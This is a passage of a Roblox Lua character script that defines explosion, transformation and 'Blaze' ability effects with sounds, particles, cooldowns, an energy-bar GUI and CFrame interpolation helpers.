  1313.   plodeza:Play()
  1314. local plodezar = Instance.new("Sound",workspace)
  1315.   plodezar.SoundId = "rbxassetid://197161452"
  1316.   plodezar.Volume = 0.85
  1317.   plodezar.Pitch = 0.25
  1318.   plodezar.Looped = false
  1319.   plodezar:Play()
  1320.     expld.BlastRadius = rad
  1321.     expld.Position = par.Position
  1322. wait(0.5)
  1323.         par:Destroy()
  1324.   plode.Parent = nil
  1325.     expart.Parent = nil
  1326.     expart2.Parent = nil
  1327.     expld.Parent = nil
  1328. end
  1329. function ExplodeMassen(rad,par)
  1330.     local expart = Instance.new("Part",script.Parent)
  1331.     local expart2 = Instance.new("Part",script.Parent)
  1332.     local partMesh = Instance.new("SpecialMesh",expart)
  1333.     partMesh.MeshType = "Sphere"
  1334.     local partMesh2 = Instance.new("SpecialMesh",expart2)
  1335.     partMesh2.MeshType = "Sphere"
  1336.     local expld = Instance.new("Explosion", script.Parent)
  1337. local plode = Instance.new("Sound",workspace)
  1338.   plode.SoundId = "rbxassetid://579687077"
  1339.   plode.Volume = 1
  1340.   plode.Pitch = 0.85
  1341.   plode.Looped = false
  1342.   plode:Play()
  1343. local plodez = Instance.new("Sound",workspace)
  1344.   plodez.SoundId = "rbxassetid://288641686"
  1345.   plodez.Volume = 1
  1346.   plodez.Pitch = 0.75
  1347.   plodez.Looped = false
  1348.   plodez:Play()
  1349. local plodeza = Instance.new("Sound",workspace)
  1350.   plodeza.SoundId = "rbxassetid://197161452"
  1351.   plodeza.Volume = 0.85
  1352.   plodeza.Pitch = 0.65
  1353.   plodeza.Looped = false
  1354.   plodeza:Play()
  1355. local plodezar = Instance.new("Sound",workspace)
  1356.   plodezar.SoundId = "rbxassetid://197161452"
  1357.   plodezar.Volume = 0.85
  1358.   plodezar.Pitch = 0.25
  1359.   plodezar.Looped = false
  1360.   plodezar:Play()
  1361.     expld.BlastRadius = rad
  1362.     expld.Position = par.Position
  1363.     partMesh.Scale = vt(rad,rad,rad)
  1364.     expart.Size = vt(1,1,1)*1.5
  1365.     expart.Transparency = 0
  1366.     expart.Anchored = true
  1367.     expart.Material = "Neon"
  1368.     expart.BrickColor = bc("White")
  1369.     expart.CFrame = par.CFrame
  1370.     partMesh2.Scale = vt(rad,rad,rad)
  1371.     expart2.Size = vt(1.15,1.15,1.15)*1.5
  1372.     expart2.Transparency = 0.5
  1373.     expart2.Anchored = true
  1374.     expart2.Material = "Neon"
  1375.     expart2.BrickColor = tors.BrickColor
  1376.     expart2.CFrame = par.CFrame
  1377.         local value = 1*rad/10
  1378.         par:Destroy()
  1379.     for i = 0, 300 do
  1380.                 partMesh.Scale = partMesh.Scale + vt(value,value,value)
  1381.         expart.CFrame = expart.CFrame
  1382.                 partMesh2.Scale = partMesh2.Scale + vt(value,value,value)
  1383.         expart2.CFrame = expart.CFrame
  1384.                 value = value - 0.0175*rad/10
  1385.                 if value <= 0 then
  1386.         expart.Transparency = expart.Transparency + 0.0125
  1387.         expart2.Transparency = expart2.Transparency + 0.0125
  1388.                 value = 0.25
  1389.                 end
  1390.         wait()
  1391.     end
  1392.   plode.Parent = nil
  1393.     expart.Parent = nil
  1394.     expart2.Parent = nil
  1395.     expld.Parent = nil
  1396. end
  1397. local Ultramode = false
  1398.  
  1399. function Transform()
  1400.   if basiccooldown >= 5 then
  1401.   hum.WalkSpeed = 0
  1402.   local sparta = Instance.new("Part",workspace)
  1403. local msher = Instance.new("SpecialMesh",sparta)
  1404. msher.MeshType = "Sphere"
  1405. msher.Scale = vt(1,1,1)
  1406. wit = BrickColor.new("Really black").Color
  1407. local glowz = Instance.new("ParticleEmitter")
  1408. glowz.LightEmission = 1
  1409. glowz.Parent = sparta
  1410. glowz.Texture = "rbxassetid://284205403"
  1411. glowz.Color = ColorSequence.new(wit)
  1412. glowz.Size = NumberSequence.new(15)
  1413. glowz.Speed = NumberRange.new(100,250)
  1414. glowz.LockedToPart = false
  1415. glowz.Transparency = NumberSequence.new(0.75)
  1416. glowz.RotSpeed = NumberRange.new(-2000,2000)
  1417. glowz.Lifetime = NumberRange.new(1)
  1418. glowz.Rate = 50000
  1419. glowz.VelocitySpread = 9001
  1420.   local sa2 = Instance.new("Sound",sparta)
  1421.   sa2.SoundId = "rbxassetid://93724183"
  1422.   sa2.Pitch = 0.5
  1423.   sa2.Volume = 5
  1424.   sa2.Looped = false
  1425.   sa2:Play()
  1426.   local saz2 = Instance.new("Sound",sparta)
  1427.   saz2.SoundId = "rbxassetid://199145659"
  1428.   saz2.Pitch = 0.45
  1429.   saz2.Volume = 5*2
  1430.   saz2.Looped = false
  1431. local plode = Instance.new("Sound",sparta)
  1432.   plode.SoundId = "rbxassetid://153274423"
  1433.   plode.Volume = 5
  1434.   plode.Pitch = 1
  1435.   plode.Looped = false
  1436. local ploder = Instance.new("Sound",sparta)
  1437.   ploder.SoundId = "rbxassetid://130972023"
  1438.   ploder.Volume = 5
  1439.   ploder.Pitch = 1
  1440.   ploder.Looped = false
  1441.   sparta.Size = vt(1,1,1)
  1442.   sparta.BrickColor = BrickColor.new("Really black")
  1443.   sparta.Material = "Neon"
  1444.   sparta.Transparency = 0
  1445.   sparta.Anchored = true
  1446.   sparta.CanCollide = false
  1447.   sparta.CFrame = tors.CFrame
  1448.   sparta.Rotation = vt(0,0,0)
  1449.   local value2 = 2
  1450.   for i = 0, 24 do
  1451.   value2 = value2 - 0.065
  1452.   msher.Scale = msher.Scale + vt(value2,value2,value2)
  1453.   wait()
  1454.   end
  1455.   for i = 0, 10 do
  1456.   value2 = value2 + 0.06575
  1457.   msher.Scale = msher.Scale + vt(value2,value2,value2)
  1458.   wait()
  1459.   end
  1460.   for i = 0, 10 do
  1461.   value2 = value2 - 0.2
  1462.   msher.Scale = msher.Scale + vt(value2,value2,value2)
  1463.   wait()
  1464.   end
  1465.   for i = 0, 10 do
  1466.   value2 = value2 + 0.275
  1467.   msher.Scale = msher.Scale + vt(value2,value2,value2)
  1468.   wait()
  1469.   end
  1470.   for i = 0, 10 do
  1471.   value2 = value2 - 0.4
  1472.   msher.Scale = msher.Scale + vt(value2,value2,value2)
  1473.   wait()
  1474.   end
  1475.   for i = 0, 10 do
  1476.   value2 = value2 + 0.475
  1477.   msher.Scale = msher.Scale + vt(value2,value2,value2)
  1478.   wait()
  1479.   end
  1480.   for i = 0, 10 do
  1481.   value2 = value2 - 0.6
  1482.   msher.Scale = msher.Scale + vt(value2,value2,value2)
  1483.   wait()
  1484.   end
  1485.   for i = 0, 10 do
  1486.   value2 = value2 + 0.675
  1487.   msher.Scale = msher.Scale + vt(value2,value2,value2)
  1488.   wait()
  1489.   end
  1490.   for i = 0, 10 do
  1491.   value2 = value2 - 0.7
  1492.   msher.Scale = msher.Scale + vt(value2,value2,value2)
  1493.   wait()
  1494.   end
  1495.   for i = 0, 10 do
  1496.   value2 = value2 + 0.775
  1497.   msher.Scale = msher.Scale + vt(value2,value2,value2)
  1498.   wait()
  1499.   end
  1500.   saz2:Play()
  1501.   wait(2.75)
  1502.   plode:Play()
  1503.   ploder:Play()
  1504.   Ultramode = true
  1505.   for i = 0, 75 do
  1506.   value2 = value2 - 0.0575
  1507.   glowz.Rate = 0
  1508.   sparta.Transparency = sparta.Transparency + 0.025
  1509.   msher.Scale = msher.Scale + vt(value2,value2,value2)
  1510.   wait()
  1511.   end
  1512.   hum.WalkSpeed = 16
  1513.   sparta:Destroy()
  1514.   end
  1515. end
  1516.  
  1517.  
  1518. function Blaze2()
  1519. if ultcooldown >= 30 then
  1520. local sloc = Instance.new("Part",workspace)
  1521. local msh = Instance.new("SpecialMesh",sloc)
  1522. msh.MeshType = "Sphere"
  1523. sloc.Size = vt(1,1,1)
  1524. sloc.Transparency = 1
  1525. sloc.BrickColor = tors.BrickColor
  1526. sloc.Position = hed.Position + vt(0,0.1,0)
  1527. sloc.CanCollide = false
  1528. sloc.Shape = "Ball"
  1529. sloc.Anchored = true
  1530. sloc.Material = "Neon"
  1531.   local s = Instance.new("Sound",char)
  1532.   s.SoundId = "rbxassetid://289315275"
  1533.   s.Pitch = 1
  1534.   s.Volume = 2.75
  1535.   s.Looped = false
  1536.   s:Play()
  1537.   local s2 = Instance.new("Sound",char)
  1538.   s2.SoundId = "rbxassetid://671759140"
  1539.   s2.Pitch = 0.425
  1540.   s2.Volume = 1
  1541.   s2.Looped = false
  1542.   s2:Play()
  1543. local val = 0.65*5
  1544. for i = 0 , 75 do
  1545. sloc.Transparency = sloc.Transparency - 0.035
  1546. msh.Scale = msh.Scale + vt(val,val,val)
  1547. val = val - 0.0075*5
  1548. wait()
  1549. end
  1550. wait(2)
  1551.   local sen = Instance.new("Sound",char)
  1552.   sen.SoundId = "rbxassetid://289315275"
  1553.   sen.Pitch = 1
  1554.   sen.Volume = 2.75
  1555.   sen.Looped = false
  1556.   sen:Play()
  1557.   local tick = Instance.new("Sound",char)
  1558.   tick.SoundId = "rbxassetid://446876721"
  1559.   tick.Volume = 2.5
  1560.   tick.Pitch = 0.5
  1561.   tick:Play()
  1562. msh.Scale = msh.Scale - vt(1,1,1)
  1563. sloc.Transparency = sloc.Transparency + 0.015
  1564. local spart = Instance.new("Part",workspace)
  1565. local msh2 = Instance.new("SpecialMesh",spart)
  1566. msh2.MeshType = "Sphere"
  1567. spart.Size = vt(2,2,2)
  1568. spart.Shape = "Ball"
  1569. spart.BrickColor = tors.BrickColor
  1570. spart.Material = "Neon"
  1571. spart.Transparency = 0
  1572. spart.Anchored = false
  1573. msh2.Scale = msh.Scale/2
  1574. spart.Rotation = hed.Rotation
  1575. spart.CanCollide = false
  1576. spart.Position = sloc.Position + vt(math.random(-0,0),math.random(-0,0),math.random(-0,0))
  1577.   local bv = Instance.new("BodyVelocity")
  1578.   bv.maxForce = Vector3.new(1e9, 1e9, 1e9)
  1579.   bv.velocity = mouse.Hit.lookVector * 125
  1580.   bv.Parent = spart
  1581. sloc:Destroy()
  1582.   wait(0.00001)
  1583.   pewdiepie=spart.Touched:connect(function(hit)
  1584.   ExplodeMassen(100,spart)
  1585.   end)
  1586. wait(5)
  1587. sloc:Destroy()
  1588. tick:Destroy()
  1589. s:Destroy()
  1590. sen:Destroy()
  1591. s2:Destroy()
  1592. end
  1593. if ultcooldown < 1 then
  1594. for i = 0, 29 do
  1595. ultcooldown = ultcooldown + 1
  1596. wait(1)
  1597. end
  1598. end
  1599. end
  1600.  
  1601. function Blaze()
  1602. if ultcooldown >= 30 then
  1603.  local ff = Instance.new("ForceField",char)
  1604.   local s = Instance.new("Sound",char)
  1605.   s.SoundId = "rbxassetid://289315275"
  1606.   s.Pitch = 1
  1607.   s.Volume = 2.75
  1608.   s.Looped = false
  1609.   s:Play()
  1610.   local s2 = Instance.new("Sound",char)
  1611.   s2.SoundId = "rbxassetid://671759140"
  1612.   s2.Pitch = 0.425
  1613.   s2.Volume = 1
  1614.   s2.Looped = false
  1615.   s2:Play()
  1616.   local spart = boll:Clone()
  1617.   local spart2 = shur:Clone()
  1618.   local msh = Instance.new("SpecialMesh",spart)
  1619.   msh.MeshType = "Sphere"
  1620.   spart.Parent = workspace
  1621.   spart.Transparency = 1
  1622.   spart.Anchored = true
  1623.   spart.Position = tors.Position + vt(0,1,0)
  1624.   spart.Size = spart.Size + vt(1,1,1)
  1625.   for i = 0, 10 do
  1626.   spart.BrickColor = tors.BrickColor
  1627.   spart.Transparency = spart.Transparency + -0.05
  1628.   spart.Position = tors.Position + vt(0,1,0)
  1629.   spart.Size = spart.Size + vt(3,3,3)
  1630.   wait(0)
  1631.   end
  1632.   for i = 0, 5 do
  1633.   spart.BrickColor = tors.BrickColor
  1634.   spart.Transparency = spart.Transparency + -0.05
  1635.   spart.Position = tors.Position + vt(0,1,0)
  1636.   spart.Size = spart.Size + vt(2.5,2.5,2.5)
  1637.   wait(0)
  1638.   end
  1639.   for i = 0, 5 do
  1640.   spart.BrickColor = tors.BrickColor
  1641.   spart.Transparency = spart.Transparency + -0.05
  1642.   spart.Position = tors.Position + vt(0,1,0)
  1643.   spart.Size = spart.Size + vt(1,1,1)
  1644.   wait(0)
  1645.   end
  1646.   for i = 0, 10 do
  1647.   spart.BrickColor = tors.BrickColor
  1648.   wait(0.1)
  1649.   end
  1650.   for i = 0, 20 do
  1651.   spart.BrickColor = tors.BrickColor
  1652.   spart.Transparency = spart.Transparency + 0.05
  1653.   spart.Position = tors.Position + vt(0,1,0)
  1654.   spart.Size = spart.Size + vt(-5,-5,-5)
  1655.   wait(0)
  1656.   end
  1657.   local sp = spart:Clone()
  1658.   sp.Parent = workspace
  1659.   sp.Position = spart.Position
  1660.   local sp2 = sp:Clone()
  1661.   sp2.Parent = workspace
  1662.   sp2.Transparency = 0.5
  1663.   local msh2 = sp2.Mesh
  1664.   msh2.Scale = vt(1250,1250,1250)
  1665. wit = tors.BrickColor.Color
  1666. local glowz = Instance.new("ParticleEmitter")
  1667. glowz.LightEmission = 0.75
  1668. glowz.Parent = sp2
  1669. glowz.Texture = "rbxassetid://284205403"
  1670. glowz.Color = ColorSequence.new(wit)
  1671. glowz.Size = NumberSequence.new(50)
  1672. glowz.Speed = NumberRange.new(425,450)
  1673. glowz.LockedToPart = false
  1674. glowz.Transparency = NumberSequence.new(0.75)
  1675. glowz.RotSpeed = NumberRange.new(-2000,2000)
  1676. glowz.Lifetime = NumberRange.new(1)
  1677. glowz.Rate = 50000
  1678. glowz.VelocitySpread = 9001
  1679.   spart2.Parent = workspace
  1680.   spart2.Mesh.Scale = vt(25, 90000, 25)
  1681.   spart2.Position = tors.Position
  1682. local seen = Instance.new("Sound",char)
  1683. seen.SoundId = "rbxassetid://445796828"
  1684. seen.Pitch = 0.75
  1685. seen.Volume = 1.75
  1686. seen.Looped = true
  1687. seen:Play()
  1688. local sen = Instance.new("Sound",char)
  1689. sen.SoundId = "rbxassetid://289315275"
  1690. sen.Pitch = 0.98
  1691. sen.Volume = 2.65
  1692. sen.Looped = false
  1693. sen:Play()
  1694. local tick = Instance.new("Sound",char)
  1695. tick.SoundId = "rbxassetid://446876721"
  1696. tick.Volume = 5
  1697. tick.Pitch = 0.5
  1698. tick:Play()
  1699. local seena = Instance.new("Sound",char)
  1700. seena.SoundId = "rbxassetid://300916057"
  1701. seena.Pitch = 0.5
  1702. seena.Volume = 2.5
  1703. seena.Looped = false
  1704. seena:Play()
  1705. spart.Transparency = 0
  1706.   ExplodeMass(1000,sp)
  1707.   for i = 0, 450 do
  1708.   spart2.Position = spart.Position + vt(math.random(-1,1),0,math.random(-1,1))
  1709.   sp2.Position = spart.Position
  1710.   spart2.Mesh.Scale = spart2.Mesh.Scale + vt(0.035, 0, 0.035)
  1711.   spart2.BrickColor = tors.BrickColor
  1712.   msh2.Scale = msh2.Scale + vt(3.5,3.5,3.5)
  1713.   msh.Scale = msh.Scale + vt(50,50,50)
  1714.   sp2.Transparency = sp2.Transparency + 0.0005
  1715.   spart.Transparency = spart.Transparency + 0.0025
  1716.   spart2.Transparency = spart2.Transparency + 0.0025
  1717.   wait(0)
  1718.   end
  1719.   spart:Destroy()
  1720.   seena:Destroy()
  1721.   ff:Destroy()
  1722.   seen:Destroy()
  1723.   sen:Destroy()
  1724.   tick:Destroy()
  1725.   spart2:Destroy()
  1726.   s:Destroy()
  1727.   sp:Destroy()
  1728.   sp2:Destroy()
  1729.   s2:Destroy()
  1730. end
  1731. if ultcooldown < 1 then
  1732. for i = 0, 29 do
  1733. ultcooldown = ultcooldown + 1
  1734. wait(1)
  1735. end
  1736. end
  1737. end
  1738.  
  1739. -- sin
  1740. Player=game:GetService("Players").LocalPlayer
  1741. Character=Player.Character
  1742. PlayerGui=Player.PlayerGui
  1743. Backpack=Player.Backpack
  1744. Torso=Character.Torso
  1745. Head=Character.Head
  1746. Humanoid=Character.Humanoid
  1747. m=Instance.new('Model',Character)
  1748. LeftArm=Character["Left Arm"]
  1749. LeftLeg=Character["Left Leg"]
  1750. RightArm=Character["Right Arm"]
  1751. RightLeg=Character["Right Leg"]
  1752. LS=Torso["Left Shoulder"]
  1753. LH=Torso["Left Hip"]
  1754. RS=Torso["Right Shoulder"]
  1755. RH=Torso["Right Hip"]
  1756. Face = Head.face
  1757. Neck=Torso.Neck
  1758. it=Instance.new
  1759. attacktype=1
  1760. vt=Vector3.new
  1761. cf=CFrame.new
  1762. euler=CFrame.fromEulerAnglesXYZ
  1763. angles=CFrame.Angles
  1764. cloaked=false
  1765. necko=cf(0, 1, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
  1766. necko2=cf(0, -0.5, 0, -1, -0, -0, 0, 0, 1, 0, 1, 0)
  1767. LHC0=cf(-1,-1,0,-0,-0,-1,0,1,0,1,0,0)
  1768. LHC1=cf(-0.5,1,0,-0,-0,-1,0,1,0,1,0,0)
  1769. RHC0=cf(1,-1,0,0,0,1,0,1,0,-1,-0,-0)
  1770. RHC1=cf(0.5,1,0,0,0,1,0,1,0,-1,-0,-0)
  1771. RootPart=Character.HumanoidRootPart
  1772. RootJoint=RootPart.RootJoint
  1773. RootCF=euler(-1.57,0,3.14)
  1774. attack = false
  1775. attackdebounce = false
  1776. deb=false
  1777. equipped=true
  1778. hand=false
  1779. MMouse=nil
  1780. combo=0
  1781. mana=0
  1782. trispeed=1
  1783. pathtrans=.7
  1784. attackmode='none'
  1785. local idle=0
  1786. local Anim="Idle"
  1787. local Effects={}
  1788. local gun=false
  1789. local shoot=false
  1790. player=nil
  1791. cloak=false
  1792. lightcolor='Bright blue'
  1793.  
  1794. local Color1=BrickColor.new("Royal purple")
  1795.  
  1796. local fengui=it("GuiMain")
  1797. fengui.Parent=Player.PlayerGui
  1798. fengui.Name="WeaponGUI"
  1799. local fenframe=it("Frame")
  1800. fenframe.Parent=fengui
  1801. fenframe.BackgroundColor3=Color3.new(255,255,255)
  1802. fenframe.BackgroundTransparency=1
  1803. fenframe.BorderColor3=Color3.new(17,17,17)
  1804. fenframe.Size=UDim2.new(0.0500000007, 0, 0.100000001, 0)
  1805. fenframe.Position=UDim2.new(0.4,0,0.1,0)
  1806. local fenbarmana1=it("TextLabel")
  1807. fenbarmana1.Parent=fenframe
  1808. fenbarmana1.Text=" "
  1809. fenbarmana1.BackgroundTransparency=0
  1810. fenbarmana1.BackgroundColor3=Color3.new(0,0,0)
  1811. fenbarmana1.SizeConstraint="RelativeXY"
  1812. fenbarmana1.TextXAlignment="Center"
  1813. fenbarmana1.TextYAlignment="Center"
  1814. fenbarmana1.Position=UDim2.new(0,0,0,0)
  1815. fenbarmana1.Size=UDim2.new(4,0,0.2,0)
  1816. local fenbarmana2=it("TextLabel")
  1817. fenbarmana2.Parent=fenframe
  1818. fenbarmana2.Text=" "
  1819. fenbarmana2.BackgroundTransparency=0
  1820. fenbarmana2.BackgroundColor3=Torso.Color
  1821. fenbarmana2.SizeConstraint="RelativeXY"
  1822. fenbarmana2.TextXAlignment="Center"
  1823. fenbarmana2.TextYAlignment="Center"
  1824. fenbarmana2.Position=UDim2.new(0,0,0,0)
  1825. fenbarmana2.Size=UDim2.new(4*mana/100,0,0.2,0)
  1826. local fenbarmana3=it("TextLabel")
  1827. fenbarmana3.Parent=fenframe
  1828. fenbarmana3.Text=" "
  1829. fenbarmana3.BackgroundTransparency=0
  1830. fenbarmana3.BackgroundColor3=Color3.new(Col1,Col2,Col3)
  1831. fenbarmana3.SizeConstraint="RelativeXY"
  1832. fenbarmana3.TextXAlignment="Center"
  1833. fenbarmana3.TextYAlignment="Center"
  1834. fenbarmana3.Position=UDim2.new(0,0,0,0)
  1835. fenbarmana3.Size=UDim2.new(0,0,0.2,0)
  1836. local fenbarmana4=it("TextLabel")
  1837. fenbarmana4.Parent=fenframe
  1838. fenbarmana4.Text="Energy("..mana..")"
  1839. fenbarmana4.BackgroundTransparency=1
  1840. fenbarmana4.BackgroundColor3=Color3.new(0,0,0)
  1841. fenbarmana4.SizeConstraint="RelativeXY"
  1842. fenbarmana4.TextXAlignment="Center"
  1843. fenbarmana4.TextYAlignment="Center"
  1844. fenbarmana4.Position=UDim2.new(0,0,-0.3,0)
  1845. fenbarmana4.Size=UDim2.new(4,0,0.2,0)
  1846. fenbarmana4.FontSize="Size9"
  1847. fenbarmana4.TextStrokeTransparency=0
  1848. fenbarmana4.TextColor=BrickColor.new("White")
  1849.  
  1850. mouse=Player:GetMouse()
  1851. --save shoulders
  1852. RSH, LSH=nil, nil
  1853. --welds
  1854. RW, LW=Instance.new("Weld"), Instance.new("Weld")
  1855. RW.Name="Right Shoulder" LW.Name="Left Shoulder"
  1856. LH=Torso["Left Hip"]
  1857. RH=Torso["Right Hip"]
  1858. TorsoColor=BrickColor.new("Royal purple")
  1859. function NoOutline(Part)
  1860. Part.TopSurface,Part.BottomSurface,Part.LeftSurface,Part.RightSurface,Part.FrontSurface,Part.BackSurface = 10,10,10,10,10,10
  1861. end
  1862. player=Player
  1863. ch=Character
  1864. RSH=ch.Torso["Right Shoulder"]
  1865. LSH=ch.Torso["Left Shoulder"]
  1866. --
  1867. RSH.Parent=nil
  1868. LSH.Parent=nil
  1869. --
  1870. RW.Name="Right Shoulder"
  1871. RW.Part0=ch.Torso
  1872. RW.C0=cf(1.5, 0.5, 0) --* CFrame.fromEulerAnglesXYZ(1.3, 0, -0.5)
  1873. RW.C1=cf(0, 0.5, 0)
  1874. RW.Part1=ch["Right Arm"]
  1875. RW.Parent=ch.Torso
  1876. --
  1877. LW.Name="Left Shoulder"
  1878. LW.Part0=ch.Torso
  1879. LW.C0=cf(-1.5, 0.5, 0) --* CFrame.fromEulerAnglesXYZ(1.7, 0, 0.8)
  1880. LW.C1=cf(0, 0.5, 0)
  1881. LW.Part1=ch["Left Arm"]
  1882. LW.Parent=ch.Torso
  1883.  
  1884.  
  1885. function part(formfactor,parent,reflectance,transparency,brickcolor,name,size)
  1886. local fp=it("Part")
  1887. fp.formFactor=formfactor
  1888. fp.Parent=parent
  1889. fp.Reflectance=reflectance
  1890. fp.Transparency=transparency
  1891. fp.CanCollide=false
  1892. fp.Locked=true
  1893. fp.BrickColor=brickcolor
  1894. fp.Name=name
  1895. fp.Size=size
  1896. fp.Position=Torso.Position
  1897. NoOutline(fp)
  1898. fp.Material="Neon"
  1899. fp:BreakJoints()
  1900. return fp
  1901. end
  1902.  
  1903. function mesh(Mesh,part,meshtype,meshid,offset,scale)
  1904. local mesh=it(Mesh)
  1905. mesh.Parent=part
  1906. if Mesh=="SpecialMesh" then
  1907. mesh.MeshType=meshtype
  1908. if meshid~="nil" then
  1909. mesh.MeshId="http://www.roblox.com/asset/?id="..meshid
  1910. end
  1911. end
  1912. mesh.Offset=offset
  1913. mesh.Scale=scale
  1914. return mesh
  1915. end
  1916.  
  1917. function weld(parent,part0,part1,c0)
  1918. local weld=it("Weld")
  1919. weld.Parent=parent
  1920. weld.Part0=part0
  1921. weld.Part1=part1
  1922. weld.C0=c0
  1923. return weld
  1924. end
  1925.  
  1926. local Color1=BrickColor.new("Royal purple")
  1927.  
  1928. local bodvel=Instance.new("BodyVelocity")
  1929. local bg=Instance.new("BodyGyro")
  1930.  
  1931. function swait(num)
  1932. if num==0 or num==nil then
  1933. game:service'RunService'.Stepped:wait(0)
  1934. else
  1935. for i=0,num do
  1936. game:service'RunService'.Stepped:wait(0)
  1937. end
  1938. end
  1939. end
  1940.  
  1941.  
  1942. so = function(id,par,vol,pit)
  1943. coroutine.resume(coroutine.create(function()
  1944. local sou = Instance.new("Sound",par or workspace)
  1945. sou.Volume=vol
  1946. sou.Pitch=pit or 1
  1947. sou.SoundId=id
  1948. swait()
  1949. sou:play()
  1950. game:GetService("Debris"):AddItem(sou,6)
  1951. end))
  1952. end
  1953.  
  1954. function clerp(a,b,t)
  1955. local qa = {QuaternionFromCFrame(a)}
  1956. local qb = {QuaternionFromCFrame(b)}
  1957. local ax, ay, az = a.x, a.y, a.z
  1958. local bx, by, bz = b.x, b.y, b.z
  1959. local _t = 1-t
  1960. return QuaternionToCFrame(_t*ax + t*bx, _t*ay + t*by, _t*az + t*bz,QuaternionSlerp(qa, qb, t))
  1961. end
  1962.  
  1963. function QuaternionFromCFrame(cf)
  1964. local mx, my, mz, m00, m01, m02, m10, m11, m12, m20, m21, m22 = cf:components()
  1965. local trace = m00 + m11 + m22
  1966. if trace > 0 then
  1967. local s = math.sqrt(1 + trace)
  1968. local recip = 0.5/s
  1969. return (m21-m12)*recip, (m02-m20)*recip, (m10-m01)*recip, s*0.5
  1970. else
  1971. local i = 0
  1972. if m11 > m00 then
  1973. i = 1
  1974. end
  1975. if m22 > (i == 0 and m00 or m11) then
  1976. i = 2
  1977. end
  1978. if i == 0 then
  1979. local s = math.sqrt(m00-m11-m22+1)
  1980. local recip = 0.5/s
  1981. return 0.5*s, (m10+m01)*recip, (m20+m02)*recip, (m21-m12)*recip
  1982. elseif i == 1 then
  1983. local s = math.sqrt(m11-m22-m00+1)
  1984. local recip = 0.5/s
  1985. return (m01+m10)*recip, 0.5*s, (m21+m12)*recip, (m02-m20)*recip
  1986. elseif i == 2 then
  1987. local s = math.sqrt(m22-m00-m11+1)
  1988. local recip = 0.5/s return (m02+m20)*recip, (m12+m21)*recip, 0.5*s, (m10-m01)*recip
  1989. end
  1990. end
  1991. end
  1992.  
  1993. function QuaternionToCFrame(px, py, pz, x, y, z, w)
  1994. local xs, ys, zs = x + x, y + y, z + z
  1995. local wx, wy, wz = w*xs, w*ys, w*zs
  1996. local xx = x*xs
  1997. local xy = x*ys
  1998. local xz = x*zs
  1999. local yy = y*ys
  2000. local yz = y*zs
  2001. local zz = z*zs
  2002. return CFrame.new(px, py, pz,1-(yy+zz), xy - wz, xz + wy,xy + wz, 1-(xx+zz), yz - wx, xz - wy, yz + wx, 1-(xx+yy))
  2003. end
  2004.  
  2005. function QuaternionSlerp(a, b, t)
  2006. local cosTheta = a[1]*b[1] + a[2]*b[2] + a[3]*b[3] + a[4]*b[4]
  2007. local startInterp, finishInterp;
  2008. if cosTheta >= 0.0001 then
  2009. if (1 - cosTheta) > 0.0001 then
  2010. local theta = math.acos(cosTheta)
  2011. local invSinTheta = 1/math.sin(theta)
  2012. startInterp = math.sin((1-t)*theta)*invSinTheta
  2013. finishInterp = math.sin(t*theta)*invSinTheta  
  2014. else
  2015. startInterp = 1-t
  2016. finishInterp = t
  2017. end
  2018. else
  2019. if (1+cosTheta) > 0.0001 then
  2020. local theta = math.acos(-cosTheta)
  2021. local invSinTheta = 1/math.sin(theta)
  2022. startInterp = math.sin((t-1)*theta)*invSinTheta
  2023. finishInterp = math.sin(t*theta)*invSinTheta
  2024. else
  2025. startInterp = t-1
  2026. finishInterp = t
  2027. end
  2028. end
  2029. return a[1]*startInterp + b[1]*finishInterp, a[2]*startInterp + b[2]*finishInterp, a[3]*startInterp + b[3]*finishInterp, a[4]*startInterp + b[4]*finishInterp
  2030. end
  2031.  
  2032. function rayCast(Pos, Dir, Max, Ignore)  -- Origin Position , Direction, MaxDistance , IgnoreDescendants
  2033. return game:service("Workspace"):FindPartOnRay(Ray.new(Pos, Dir.unit * (Max or 999.999)), Ignore)
  2034. end
  2035.  
  2036. function SkullEffect(brickcolor,cframe,x1,y1,z1,delay)
  2037. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2038. prt.Anchored=true
  2039. prt.CFrame=cframe
  2040. local msh=mesh("SpecialMesh",prt,"FileMesh","http://www.roblox.com/asset/?id=4770583",vt(0,0,0),vt(x1,y1,z1))
  2041. --http://www.roblox.com/asset/?id=4770560
  2042. game:GetService("Debris"):AddItem(prt,2)
  2043. CF=prt.CFrame
  2044. coroutine.resume(coroutine.create(function(Part,Mesh,TehCF)
  2045. for i=0,1,0.2 do
  2046. wait()
  2047. Part.CFrame=CF*cf(0,0,-0.4)
  2048. end
  2049. for i=0,1,delay do
  2050. wait()
  2051. --Part.CFrame=CF*cf((math.random(-1,0)+math.random())/5,(math.random(-1,0)+math.random())/5,(math.random(-1,0)+math.random())/5)
  2052. Mesh.Scale=Mesh.Scale
  2053. end
  2054. for i=0,1,0.1 do
  2055. wait()
  2056. Part.Transparency=i
  2057. end
  2058. Part.Parent=nil
  2059. end),prt,msh,CF)
  2060. end
  2061.  
  2062. function MagicBlock(brickcolor,cframe,x1,y1,z1,x3,y3,z3,delay)
  2063. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2064. prt.Anchored=true
  2065. prt.CFrame=cframe
  2066. msh=mesh("BlockMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1))
  2067. game:GetService("Debris"):AddItem(prt,5)
  2068. coroutine.resume(coroutine.create(function(Part,Mesh)
  2069. for i=0,1,delay do
  2070. wait()
  2071. Part.CFrame=Part.CFrame*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
  2072. Part.Transparency=i
  2073. Mesh.Scale=Mesh.Scale+vt(x3,y3,z3)
  2074. end
  2075. Part.Parent=nil
  2076. end),prt,msh)
  2077. end
  2078.  
  2079. function MagicBlock2(brickcolor,cframe,Parent,x1,y1,z1,x3,y3,z3,delay)
  2080. local prt=part(3,workspace,0,0,brickcolor,"Effect",vt(0.5,0.5,0.5))
  2081. prt.Anchored=false
  2082. prt.CFrame=cframe
  2083. msh=mesh("BlockMesh",prt,"","",vt(0,0,0),vt(x1,y1,z1))
  2084. local wld=weld(prt,prt,Parent,cframe)
  2085. game:GetService("Debris"):AddItem(prt,5)
  2086. coroutine.resume(coroutine.create(function(Part,Mesh,Weld)
  2087. for i=0,1,delay do
  2088. wait()
  2089. Weld.C0=euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))*cframe
  2090. --Part.CFrame=Part.CFrame*euler(math.random(-50,50),math.random(-50,50),math.random(-50,50))
  2091. Part.Transparency=i
